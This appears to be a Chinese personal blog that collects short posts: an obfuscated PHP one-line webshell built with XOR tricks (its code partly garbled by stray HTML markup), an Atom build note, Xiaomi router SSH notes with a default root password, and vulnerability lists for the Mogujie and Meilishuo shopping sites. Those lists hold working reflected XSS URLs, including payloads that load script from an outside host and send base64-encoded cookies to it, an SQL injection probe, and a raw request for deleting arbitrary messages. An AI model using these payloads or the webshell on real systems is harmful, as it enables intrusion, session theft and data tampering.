July 5

一句话

#异或运算:

#将字符转换ASCII,对产生的数字进行绝对值减运算,返回转换成对应的字符

 @$++; // $ = 1

   $=(“#”^“|”); // $ = _

   $.=(“.”^“~”); // _P

   $.=(“/”^"</span>); <span class="s6">// _PO</span></p> <p class="p4">   <span class="s4">$__</span>.=(<span class="s5">"|"</span>^<span class="s5">"/"</span>); <span class="s6">// _POS</span></p> <p class="p4">   <span class="s4">$__</span>.=(<span class="s5">"{"</span>^<span class="s5">"/"</span>); <span class="s6">// _POST </span></p> <p class="p3"><span class="s3">${</span><span class="s4">$__</span><span class="s3">}[!</span><span class="s4">$_</span><span class="s3">](${</span><span class="s4">$__</span><span class="s3">}[</span><span class="s4">$_</span><span class="s3">]); </span>// $_POST[0]($_POST[1]);</p> <p class="p3"># <span class="s7">一句话</span></p> <p class="p5"><span class="s4">$__</span><span class="s3">=(</span>"#"<span class="s3">^</span>"|"<span class="s3">).(</span>"."<span class="s3">^</span>"~"<span class="s3">).(</span>"/"<span class="s3">^</span>").(“|”^“/”).(“{“^“/”);

Category: Uncategorized
July 5

Atom编辑器

官网:https://atom.io/

Gihub:https://github.com/atom/atom

下载:http://pan.baidu.com/s/1pJNTv7t   (V108)

Mac编译:

  • OS X 10.8 或更高
  • node.js v0.10.x
  • Command Line Tools for Xcode (run xcode-select --install to install)
  git clone https://github.com/atom/atom.git
  cd atom
  script/build # 将会安装在 /Applications/Atom.app

Category: Uncategorized
May 23

蘑菇街漏洞集合(不间断更新)

主站搜索

http://www.mogujie.com/book/search/%3C%E9%88%A6%E7%88%8Fcript%E9%88%A6%E7%87%93%E9%88%A6%E7%8A%AB%E4%BB%A9%29%3C%E9%88%A6%3Fscript%E9%88%A6%E7%87%93/1/pop/bao/?user=1

WAP搜索

http://m.mogujie.com/x5/search/bao?q=%3Cscript%3Ealert(document.cookie)%3C/script%3E

权限绕过

1.APP注册时没有验证邮箱,导致可以填写任意邮箱注册。注册过的邮箱且无法找回

Category: Uncategorized
May 1

小米路由器相关信息

这篇文章主要讲述小米路由器的相关信息,将不定期更新!

通过ssh进入到小米路由器后,我们会发现这其实是一个linux系统,通过目录探索,发现以下地方:

系统:

Linux XiaoQiang 2.6.36.4brcmarm #2 SMP PREEMPT Sat Apr 26 03:16:17 CST 2014 armv7l GNU/Linux

Cpu:

ARMv7 Processor rev 0 (v7l)

硬盘:

东芝2.5寸 1T

路由盘:

/userdisk/data

隐私盘:

/userdisk/privacyData

路由日志:

/userdisk/log

路由程序:

/usr/lib/lua/luci

web、mobile、api、service主程序与视图:

/usr/lib/lua/luci/controller

/usr/lib/lua/luci/view

 

Category: 小米路由器
May 1

小米路由器开启SSH

ssh root@192.168.31.1

密码默认为admin,进入之后即为一小型Linux系统。

小米路由器路由功能是基于openwrt进行的二次开发,而openwrt使用的时uhttpd作为web服务器,处理程序用的是cgi luci。

so我们这些程序员可以很容易的扩展小米路由器的功能

Category: 小米路由器
March 12

美丽说漏洞集合

XSS:找回邮箱地方存在一个XSS

https://account.meilishuo.com/user/findPwd/send_email?email=syrdxb@126.com%3Cscript%3Ealert(%27Feei%20Team%27)%3C/script%3E

https://account.meilishuo.com/user/findPwd/sendemail?email=%3Cscript%20src=%22http://safe.feei.cn/cookie.js%22%3E%3C/script%3E%3Cstyle%3E.success{display:none;}.findPwdForm{font-size:24px;text-align:center;}.findPwdForm:before{content:%22Hey%20man,you%20got%20cracked%20–%20Feei%20Team!%22}.logonew{background:url(%22http://feei.cn/_assets/img/logo.png%22);width:230px;height:40px;}.flowStep{display:none;}%3C/style%3E%3Cscript%3Ealert(%27Feei%20Team%27)%3C/script%3E

http://www.meilishuo.com/refund/servicelist/?refundid=1%27&orderid=%22%3E%3Cstyle%3E.statusicon2%20p:before{content:%22hey%20man,you%20got%20cracked%20–%20Feei%20Team!%22;}%3C/style%3E&refund_status=%E5%94%AE%E5%90%8E%E7%8A%B6%E6%80%81%22

http://www.meilishuo.com/search?searchKey=.%2F%3F%3C%3C%3C%22%22%3E%3Cscript%3Edocument.getElementByTagName(%27html%27).insertHtml(%27feei%27);alert(document.cookie)%3C%2Fscript%3E%3E&searchType=1&filter=goods&frm=searchsuggestion&suggest_frm=

Advanced

http://www.meilishuo.com/search?searchKey=.%2F%3F%3C%3C%3C%22%22%3E%3Cscript%3Evar%20c%20=%20btoa(document.cookie);var%20b%20=%20%27http://safe.feei.cn/admin.php?location=%27;var%20a%20=%20[];a.push(b);a.push(c);a.join(%27%27);window.location.href=a;%3C%2Fscript%3E%3E&searchType=1&filter=goods&frm=searchsuggestion&suggest_frm=

 

Sql Injection:

http://www.meilishuo.com/biz/huodong/meili99sed/?banner_id=2703562335c20255da4d1fb0049b77a4%27

 

http://www.meilishuo.com/search?searchKey=.%2F%3F%3C%3C%3C%22%22%3E%3Cscript%3Edocument.getElementByTagName(%27html%27).insertHtml(%27feei%27);alert(document.cookie)%3C%2Fscript%3E%3E&searchType=1&filter=goods&frm=searchsuggestion&suggest_frm=

Email:

 

删除任意信息

POST /aj/msg/delmsg HTTP/1.1 Host: www.meilishuo.com Proxy-Connection: keep-alive Content-Length: 20 Cache-Control: no-cache Pragma: no-cache Origin: http://www.meilishuo.com nt: 1yQyN1tU7ssTVQ5GeZ16wxsZcWmKxQWZFtakj3qzB7N1u3IM8UjgFhV/KXVq78/F X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 1092) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: application/json, text/javascript, /; q=0.01 DNT: 1 Referer: http://www.meilishuo.com/msg/syser Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Cookie: SEASHELL=fMqQCFNncZwM1X9eBYenAg==; appversion=4.2.1; pgvpvi=6176028672; pgvsi=s8090170368; PHPSESSID=bemoiua2ddidio43o4q228nti7; MEILISHUOREFER=default; santorinimm=b00bb1087170d69f4274820e91df3480; CHANNELFROM=0; MEILISHUOGLOBALKEY=9293e1e98bede03f1140412212055237; MEILISHUOMM=6415905cb0dd049c7e90ad043050d553; smtz=smtb%3DC0B0A09080706059F60F30C; smta=5369faa7.4806e3ac%2C1399454375%2C1399456175%2C1%2C1%2C1%2C1399454375; _smtp=72de235ad3fe; _smtt=1399454387; numInCart=1; MEILISHUORZ=212654962; homeupnum=0

message_id=177800893

 

 

Category: Uncategorized